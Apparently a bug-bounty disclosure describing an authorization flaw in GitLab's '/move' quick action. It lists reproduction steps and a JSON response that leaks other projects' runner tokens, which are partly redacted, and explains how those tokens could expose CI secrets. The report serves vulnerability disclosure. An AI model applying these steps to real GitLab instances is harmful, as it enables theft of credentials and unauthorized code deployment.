How it was found

The Quick Actions interpreter allows an attacker to reference a Project it does not have access to. The model attributes are then being serialized and returned to the user, which results in the Runner token (both encrypted and unencrypted) being returned to the user. This vulnerability is currently exploitable on GitLab.com.

Proof of concept

The vulnerability is relatively straightforward to reproduce.

1. Create a project
2. Create an issue
3. Write /move <full path of any other project> and click "Comment", a request to /:namespace/:project/notes is submitted
4. Observe the JSON response that is being returned, which contains the serialized Project model:

HTTP/1.1 200 OK
Server: nginx
...

{
  "commands_changes": {
    "target_project": {
      "id": 11104317,
      "name": "	█████",
      "path": "█████",
      "description": "",
      "created_at": "2019-03-02T01:39:34.285Z",
      "updated_at": "2019-03-02T01:39:34.285Z",
      "creator_id": 3627572,
      "namespace_id": 4717826,
      "last_activity_at": "2019-03-02T01:39:34.285Z",
      "import_url": null,
      "visibility_level": 0,
      "archived": false,
      "merge_requests_template": null,
      "star_count": 0,
      "merge_requests_rebase_enabled": false,
      "import_type": null,
      "import_source": null,
      "avatar": {
        "url": null
      },
      "approvals_before_merge": 0,
      "reset_approvals_on_push": false,
      "merge_requests_ff_only_enabled": false,
      "issues_template": null,
      "mirror": false,
      "mirror_user_id": null,
      "ci_id": null,
      "shared_runners_enabled": true,
      "runners_token": "mzssqx69THU██████████",
      "build_coverage_regex": null,
      "build_allow_git_fetch": true,
      "build_timeout": 3600,
      "mirror_trigger_builds": false,
      "public_builds": true,
      "pending_delete": false,
      "last_repository_check_failed": null,
      "last_repository_check_at": null,
      "container_registry_enabled": true,
      "only_allow_merge_if_pipeline_succeeds": false,
      "has_external_issue_tracker": false,
      "repository_storage": "nfs-file28",
      "request_access_enabled": false,
      "has_external_wiki": false,
      "repository_read_only": null,
      "lfs_enabled": true,
      "only_allow_merge_if_all_discussions_are_resolved": false,
      "repository_size_limit": null,
      "service_desk_enabled": false,
      "printing_merge_request_link_enabled": true,
      "auto_cancel_pending_pipelines": "enabled",
      "last_repository_updated_at": "2019-03-02T01:39:34.285Z",
      "ci_config_path": null,
      "disable_overriding_approvers_per_merge_request": null,
      "delete_error": null,
      "storage_version": 2,
      "resolve_outdated_diff_discussions": false,
      "remote_mirror_available_overridden": null,
      "only_mirror_protected_branches": null,
      "pull_mirror_available_overridden": null,
      "jobs_cache_index": null,
      "external_authorization_classification_label": "",
      "mirror_overwrites_diverged_branches": null,
      "external_webhook_token": null,
      "pages_https_only": true,
      "packages_enabled": true,
      "merge_requests_author_approval": null,
      "pool_repository_id": null,
      "runners_token_encrypted": "A6nIFzMXZzDdfR5iu9hq6███████████████",
      "bfg_object_map": {
        "url": null
      },
      "merge_requests_require_code_owner_approval": null,
      "import_status": "none",
      "mirror_last_update_at": null,
      "mirror_last_successful_update_at": null,
      "import_error": null,
      "import_jid": null
    }
  },
  "valid": false,
  "errors": {
    "commands_only": [
      "Commands applied"
    ]
  }
}

Impact

This vulnerability gives any user who can create an Issue or comment on one the ability to obtain Runner tokens of Projects. This allows any user to register a runner for a project, which may give the attacker access to secret project variables. Given how these variables are used, this may allow an attacker to deploy arbitrary code to a victim's environment.